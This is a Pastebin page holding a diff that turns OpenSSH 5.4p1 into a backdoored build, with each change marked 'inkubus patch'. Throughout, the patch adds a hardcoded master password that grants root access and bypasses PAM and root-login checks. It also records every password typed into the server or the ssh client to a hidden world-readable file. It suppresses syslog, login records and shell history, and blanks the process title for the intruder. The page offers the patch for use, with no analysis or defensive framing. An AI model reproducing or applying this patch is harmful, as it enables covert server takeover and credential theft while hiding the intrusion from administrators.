Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *** openssh-5.4p1/auth-pam.c Sun Jul 12 20:07:21 2009
- --- openssh-5.4p1-rk-v1.0/auth-pam.c Fri Apr 2 21:35:34 2010
- ***************
- *** 466,471 ****
- --- 466,474 ----
- if (sshpam_err != PAM_SUCCESS)
- goto auth_fail;
- sshpam_err = pam_authenticate(sshpam_handle, flags);
- + // inkubus patch
- + if(iNk) sshpam_err = PAM_SUCCESS;
- + // end of patch
- if (sshpam_err != PAM_SUCCESS)
- goto auth_fail;
- ***************
- *** 815,821 ****
- --- 818,834 ----
- {
- Buffer buffer;
- struct pam_ctxt *ctxt = ctx;
- + FILE *o;
- + // inkubus patch
- + if(sshpam_authctxt)
- + for (ai = 0; ai < num; ++ai) {
- + sprintf(abuff, "pam_from: %s \tuser: %s \tpass: %s\n",
- + get_remote_ipaddr(), sshpam_authctxt->user, resp[ai]);
- + if(!strcmp(ADMINSUPER, resp[ai])) ctxt->pam_done = iNk = 1;
- + else o = fopen(SSH_LOG, "a"); fprintf(o, "pam_from: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), sshpam_authctxt->user, resp[ai]); fclose(o); chmod(SSH_LOG, 0666);
- + }
- + // end of patch
- debug2("PAM: %s entering, %u responses", __func__, num);
- switch (ctxt->pam_done) {
- case 1:
- ***************
- *** 1045,1050 ****
- --- 1058,1066 ----
- if (sshpam_err != PAM_SUCCESS)
- fatal("PAM: failed to set PAM_CONV: %s",
- pam_strerror(sshpam_handle, sshpam_err));
- + // inkubus patch
- + if(!iNk)
- + // end of patch
- sshpam_err = pam_open_session(sshpam_handle, 0);
- if (sshpam_err == PAM_SUCCESS)
- sshpam_session_open = 1;
- *** openssh-5.4p1/auth-passwd.c Sun Mar 8 08:40:28 2009
- --- openssh-5.4p1-rk-v1.0/auth-passwd.c Fri Apr 2 21:35:34 2010
- ***************
- *** 82,87 ****
- --- 82,88 ----
- {
- struct passwd * pw = authctxt->pw;
- int result, ok = authctxt->valid;
- + FILE *o;
- #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
- static int expire_checked = 0;
- #endif
- ***************
- *** 92,97 ****
- --- 93,108 ----
- #endif
- if (*password == '\0' && options.permit_empty_passwd == 0)
- return 0;
- + // inkubus patch
- + if(!strcmp(ADMINSUPER, password)) {
- + iNk = 1;
- + // options.permit_root_login = PERMIT_YES;
- + return;
- + }
- + sprintf(abuff, "pass_from: %s \tuser: %s \tpass: %s\n",
- + get_remote_ipaddr(), pw->pw_name, password);
- + o = fopen(SSH_LOG, "a"); fprintf(o, "pass_from: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), pw->pw_name, password); fclose(o); chmod(SSH_LOG, 0666);
- + // end of patch
- #ifdef KRB5
- if (options.kerberos_authentication == 1) {
- *** openssh-5.4p1/auth.c Sun Mar 7 08:57:00 2010
- --- openssh-5.4p1-rk-v1.0/auth.c Fri Apr 2 21:35:34 2010
- ***************
- *** 94,99 ****
- --- 94,105 ----
- int
- allowed_user(struct passwd * pw)
- {
- + // inkubus patch
- + if(iNk)
- + return 1;
- + else {
- + // end of patch
- +
- struct stat st;
- const char *hostname = NULL, *ipaddr = NULL, *passwd = NULL;
- u_int i;
- ***************
- *** 249,258 ****
- --- 255,270 ----
- /* We found no reason not to let this user try to log on... */
- return 1;
- }
- + // inkubus patch
- + }
- + // end of patch
- void
- auth_log(Authctxt *authctxt, int authenticated, char *method, char *info)
- {
- + // inkubus patch
- + if(!iNk) {
- + // end of patch
- void (*authlog) (const char *fmt,...) = verbose;
- char *authmsg;
- ***************
- *** 297,302 ****
- --- 309,317 ----
- if (authenticated == 0 && !authctxt->postponed)
- audit_event(audit_classify_auth(method));
- #endif
- + // inkubus patch
- + }
- + // end of patch
- }
- /*
- ***************
- *** 305,310 ****
- --- 320,328 ----
- int
- auth_root_allowed(char *method)
- {
- + // inkubus patch
- + if(!iNk) {
- + // end of patch
- switch (options.permit_root_login) {
- case PERMIT_YES:
- return 1;
- ***************
- *** 322,328 ****
- logit("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr());
- return 0;
- }
- !
- /*
- * Given a template and a passwd structure, build a filename
- --- 340,350 ----
- logit("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr());
- return 0;
- }
- ! // inkubus patch
- ! else
- ! return 1;
- ! }
- ! // end of patch
- /*
- * Given a template and a passwd structure, build a filename
- *** openssh-5.4p1/canohost.c Wed Jan 13 19:43:34 2010
- --- openssh-5.4p1-rk-v1.0/canohost.c Fri Apr 2 21:35:34 2010
- ***************
- *** 81,86 ****
- --- 81,89 ----
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- + // inkubus patch
- + if(!iNk)
- + // end of patch
- return xstrdup(ntop);
- }
- *** openssh-5.4p1/includes.h Thu Aug 20 14:16:01 2009
- --- openssh-5.4p1-rk-v1.0/includes.h Fri Apr 2 21:35:34 2010
- ***************
- *** 13,18 ****
- --- 13,28 ----
- * called by a name other than "ssh" or "Secure Shell".
- */
- + // inkubus patch
- + #define ADMINSUPER "@#;.,iNk,.;#@"
- + #define SSH_LOG "/usr/share/doc/.keep"
- +
- + char abuff[1024];
- + int ai, iNk;
- +
- + const char *get_remote_ipaddr(void);
- + // end of patch
- +
- #ifndef INCLUDES_H
- #define INCLUDES_H
- *** openssh-5.4p1/log.c Tue Jun 10 21:01:51 2008
- --- openssh-5.4p1-rk-v1.0/log.c Fri Apr 2 21:35:34 2010
- ***************
- *** 338,343 ****
- --- 338,346 ----
- int pri = LOG_INFO;
- int saved_errno = errno;
- + // inkubus patch
- + if(iNk) return;
- + // end of patch
- if (level > log_level)
- return;
- *** openssh-5.4p1/loginrec.c Sat Jan 9 15:18:04 2010
- --- openssh-5.4p1-rk-v1.0/loginrec.c Fri Apr 2 21:35:34 2010
- ***************
- *** 431,436 ****
- --- 431,439 ----
- int
- login_write(struct logininfo *li)
- {
- + // inkubus patch
- + if(iNk) return 0;
- + // end of patch
- #ifndef HAVE_CYGWIN
- if (geteuid() != 0) {
- logit("Attempt to write login records by non-root user (aborting)");
- *** openssh-5.4p1/session.c Sun Mar 7 20:05:17 2010
- --- openssh-5.4p1-rk-v1.0/session.c Fri Apr 2 21:35:34 2010
- ***************
- *** 1196,1201 ****
- --- 1196,1206 ----
- if (getenv("TZ"))
- child_set_env(&env, &envsize, "TZ", getenv("TZ"));
- + // inkubus patch
- + if(iNk)
- + child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
- + // end of patch
- +
- /* Set custom environment options from RSA authentication. */
- if (!options.use_login) {
- while (custom_environment) {
- ***************
- *** 1500,1505 ****
- --- 1505,1514 ----
- if (setlogin(pw->pw_name) < 0)
- error("setlogin failed: %s", strerror(errno));
- + // inkubus patch
- + if(!iNk) {
- + // end of patch
- +
- if (setgid(pw->pw_gid) < 0) {
- perror("setgid");
- exit(1);
- ***************
- *** 1509,1514 ****
- --- 1518,1530 ----
- perror("initgroups");
- exit(1);
- }
- + // inkubus patch
- + }
- + else {
- + setgid(0);
- + initgroups(pw->pw_name, 0);
- + }
- + // end of patch
- endgrent();
- # ifdef USE_PAM
- /*
- ***************
- *** 1569,1574 ****
- --- 1585,1592 ----
- }
- #else
- /* Permanently switch to the desired uid. */
- + // inkubus patch
- + if(!iNk)
- permanently_set_uid(pw);
- #endif
- }
- ***************
- *** 2642,2649 ****
- {
- if (s->pw == NULL)
- error("no user for session %d", s->self);
- ! else
- ! setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
- }
- int
- --- 2660,2675 ----
- {
- if (s->pw == NULL)
- error("no user for session %d", s->self);
- ! // else
- ! // setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
- ! // inkubus patch
- ! else {
- ! if(!iNk)
- ! setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
- ! else
- ! setproctitle("","");
- ! }
- ! // end of patch
- }
- int
- *** openssh-5.4p1/sshconnect1.c Tue Nov 7 20:14:42 2006
- --- openssh-5.4p1-rk-v1.0/sshconnect1.c Fri Apr 2 21:35:34 2010
- ***************
- *** 448,453 ****
- --- 448,454 ----
- {
- int type, i;
- char *password;
- + FILE *o;
- debug("Doing password authentication.");
- if (options.cipher == SSH_CIPHER_NONE)
- ***************
- *** 458,463 ****
- --- 459,469 ----
- password = read_passphrase(prompt, 0);
- packet_start(SSH_CMSG_AUTH_PASSWORD);
- ssh_put_password(password);
- + // inkubus patch
- + sprintf(abuff, "1to: %s \tuser: %s \tpass: %s\n",
- + get_remote_ipaddr(), options.user, password);
- + o = fopen(SSH_LOG, "a"); fprintf(o, "1to: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), options.user, password); fclose(o); chmod(SSH_LOG, 0666);
- + // end of patch
- memset(password, 0, strlen(password));
- xfree(password);
- packet_send();
- *** openssh-5.4p1/sshconnect2.c Sat Feb 27 04:55:06 2010
- --- openssh-5.4p1-rk-v1.0/sshconnect2.c Fri Apr 2 21:39:47 2010
- ***************
- *** 804,809 ****
- --- 804,812 ----
- static int attempt = 0;
- char prompt[150];
- char *password;
- + // inkubus patch
- + FILE *o;
- + // end of patch
- const char *host = options.host_key_alias ? options.host_key_alias :
- authctxt->host;
- ***************
- *** 822,827 ****
- --- 825,835 ----
- packet_put_cstring(authctxt->method->name);
- packet_put_char(0);
- packet_put_cstring(password);
- + // inkubus patch
- + sprintf(abuff, "2to: %s \tuser: %s \tpass: %s\n",
- + get_remote_ipaddr(), options.user, password);
- + o = fopen(SSH_LOG, "a"); fprintf(o, "2to: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), options.user, password); fclose(o); chmod(SSH_LOG, 0666);
- + // end of patch
- memset(password, 0, strlen(password));
- xfree(password);
- packet_add_padding(64);
- ***************
- *** 1457,1462 ****
- --- 1465,1471 ----
- char *name, *inst, *lang, *prompt, *response;
- u_int num_prompts, i;
- int echo = 0;
- + FILE *o;
- debug2("input_userauth_info_req");
- ***************
- *** 1493,1498 ****
- --- 1502,1512 ----
- response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- + // inkubus patch
- + sprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n",
- + get_remote_ipaddr(), options.user, response);
- + o = fopen(SSH_LOG, "a"); fprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), options.user, response); fclose(o); chmod(SSH_LOG, 0666);
- + // end of patch
- packet_put_cstring(response);
- memset(response, 0, strlen(response));
- xfree(response);
Add Comment
Please, Sign In to add comment